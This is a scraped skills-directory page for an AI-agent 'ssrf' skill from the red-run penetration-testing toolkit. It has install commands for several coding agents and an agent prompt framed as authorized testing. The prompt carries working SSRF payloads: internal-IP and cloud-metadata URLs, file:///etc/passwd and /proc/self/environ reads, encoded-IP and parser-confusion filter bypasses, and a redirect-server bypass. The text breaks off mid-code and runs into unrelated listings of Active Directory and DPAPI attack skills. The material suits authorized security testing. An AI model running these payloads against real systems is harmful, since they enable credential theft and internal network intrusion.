acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Guide server-side request forgery (SSRF) exploitation during authorized penetration testing.
Claude Code
$ npx -y skills add blacklanternsecurity/red-run --skill ssrf --agent claude-code
Codex
$ npx skills add blacklanternsecurity/red-run --skill ssrf -a codex -y
Cursor
$ npx skills add blacklanternsecurity/red-run --skill ssrf -a cursor -y
Gemini CLI
$ npx skills add blacklanternsecurity/red-run --skill ssrf -a gemini-cli -y
GitHub Copilot
$ npx skills add blacklanternsecurity/red-run --skill ssrf -a github-copilot -y
OpenCode
$ npx skills add blacklanternsecurity/red-run --skill ssrf -a opencode -y
Windsurf
$ npx skills add blacklanternsecurity/red-run --skill ssrf -a windsurf -y
name: ssrf description: > Guide server-side request forgery (SSRF) exploitation during authorized penetration testing. keywords: - SSRF - server-side request forgery - URL fetch - webhook exploit - cloud metadata - 169.254.169.254 - IMDS - internal port scan - gopher SSRF - blind SSRF - SSRF to RCE - SSRF bypass - file:// read - SSRF filter bypass tools: - burpsuite - ssrfmap - gopherus - interactsh opsec: low
You are helping a penetration tester exploit server-side request forgery. The target application accepts a URL or hostname from user input and makes a server-side HTTP request to it. The goal is to access internal services, cloud metadata, local files, or pivot to RCE via internal service exploitation. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
import, proxy, PDF generator, image fetcher, etc.)
custom server)
codes or timing differences are visible, use blind techniques.
**LFI crossover:** If you arrived from the lfi skill because `file_get_contents()` or similar accepts `http://` URLs, the injection point is the same LFI parameter. Use it as a standard SSRF vector — no parameter discovery needed. The LFI context (absolute path reads, known web root) is additional leverage for targeting localhost services.
If not already provided, determine: 1. **Injection point** — which parameter accepts a URL? (url=, src=, href=, redirect=, callback=, webhook=, proxy=, imageUrl=, file=) 2. **Response type** — full response returned? Status only? Blind? 3. **Protocol support** — does it accept only http(s), or also file://, gopher://, dict://? 4. **Filters** — is localhost blocked? Are internal IPs blocked? Allowlist?
Skip if context was already provided.
http://127.0.0.1 http://localhost http://0.0.0.0 http://[::1] http://127.0.0.1:80 http://127.0.0.1:8080 http://127.0.0.1:443
http://10.0.0.1 http://172.16.0.1 http://192.168.1.1 http://192.168.0.1:8080
Scan common internal ports: 22 (SSH), 80 (HTTP), 443 (HTTPS), 3306 (MySQL), 5432 (PostgreSQL), 6379 (Redis), 8080 (alt HTTP), 8443 (alt HTTPS), 9200 (Elasticsearch), 27017 (MongoDB).
file:///etc/passwd file:///etc/hostname file:///proc/self/environ file:///proc/self/cmdline file://\/\/etc/passwd
http://[::]:80/ http://[0000::1]:80/ http://[::ffff:127.0.0.1] http://[0:0:0:0:0:ffff:127.0.0.1]
| Domain | Resolves To | |---|---| | `localtest.me` | `::1` | | `localh.st` | `127.0.0.1` | | `127.0.0.1.nip.io` | `127.0.0.1` | | `spoofed.redacted.oastify.com` | `127.0.0.1` | | `ip6-localhost` | `::1` (Linux) |
http://127.127.127.127 http://127.0.1.3 http://127.0.0.0
http://0/ http://127.1 http://127.0.1
**Decimal:**
http://2130706433/ = 127.0.0.1 http://2852039166/ = 169.254.169.254
**Hex:**
http://0x7f000001 = 127.0.0.1 http://0xa9fea9fe = 169.254.169.254
**Octal:**
http://0177.0.0.1/ = 127.0.0.1 http://0251.0376.0251.0376 = 169.254.169.254
**Mixed encoding:**
http://0251.254.169.254 = 169.254.169.254 (octal + decimal)
http://127.0.0.1/%61dmin (single encode) http://127.0.0.1/%2561dmin (double encode)
http://127.1.1.1:80\@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/ http:127.0.0.1/
Different parsers resolve `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/` differently: urllib2 → 1.1.1.1, requests → 2.2.2.2, urllib → 3.3.3.3.
Many URL validators check the initial URL but the underlying HTTP library follows 302/307 redirects without re-validating the destination. This is a Time-of-Check-Time-of-Use (TOCTOU) gap — point the SSRF at your server, which redirects to the internal target.
# Using r3dir.me (no server needed) https://307.r3dir.me/--to/?url=http://localhost https://307.r3dir.me/--to/?url=http://169.254.169.254/latest/meta-data/
Or host a Python redirect server on the attackbox:
# Usage: python3 redir.py <target_url> [port]
# Example: python3 redir.py http://127.0.0.1:9001/ 8888
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class R(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[1])
self.end_headers()
def log_message(self, *a): passSecurity assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL →…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse.…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…